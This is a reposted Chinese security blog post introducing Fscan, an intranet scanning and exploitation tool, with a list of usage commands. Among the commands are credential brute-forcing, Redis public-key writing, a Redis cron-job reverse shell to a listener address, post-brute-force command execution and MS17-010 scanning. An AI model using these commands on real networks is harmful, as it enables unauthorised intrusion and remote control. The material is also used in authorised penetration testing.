内网扫描工具 -- Fscan

admin 2022年5月29日01:00:15安全工具评论41 views1520字阅读5分4秒阅读模式

项目作者:shadow1ng

项目地址:https://github.com/shadow1ng/fscan


一、工具介绍

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。


二、使用方法

1、信息搜集:存活探测(icmp),端口扫描

2、爆破功能:各类服务爆破(ssh、smb、rdp等),数据库密码爆破(mysql、mssql、redis、psql、oracle等)

3、系统信息、漏洞扫描:netbios探测、域控识别,获取目标网卡信息,高危漏洞扫描(ms17010等)

4、Web探测功能:webtitle探测,web指纹识别(常见cms、oa框架等),web漏洞扫描(weblogic、st2等,支持xray的poc)

5、漏洞利用:redis写公钥或写计划任务,ssh命令执行

6、其他功能:文件保存

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1192.x.x.254,方便快速查看网段信息 )fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)fscan.exe -hf ip.txt  (以文件导入)fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)


三、运行效果

内网扫描工具 -- Fscan


内网扫描工具 -- Fscan


内网扫描工具 -- Fscan


四、下载地址

1、通过项目地址下载

2、关注公众号web安全工具库,后台回复:20220528

好书推荐


内网扫描工具 -- Fscan


《项目驱动零起点学Java》共分 13 章,围绕 6 个项目和 258 个代码示例,分别介绍了走进Java 的世界、变量与数据类型、运算符、流程控制、方法、数组、面向对象、异常、常用类、集合、I/O流、多线程、网络编程相关内容。《项目驱动零起点学Java》总结了马士兵老师从事Java培训十余年来经受了市场检验的教研成果,通过6 个项目以及每章的示例和习题,可以帮助读者快速掌握Java 编程的语法以及算法实现。扫描每章提供的二维码可观看相应章节内容的视频讲解。

原文始发于微信公众号(web安全工具库):内网扫描工具 -- Fscan

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月29日01:00:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  内网扫描工具 -- Fscan http://cn-sec.com/archives/1060342.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: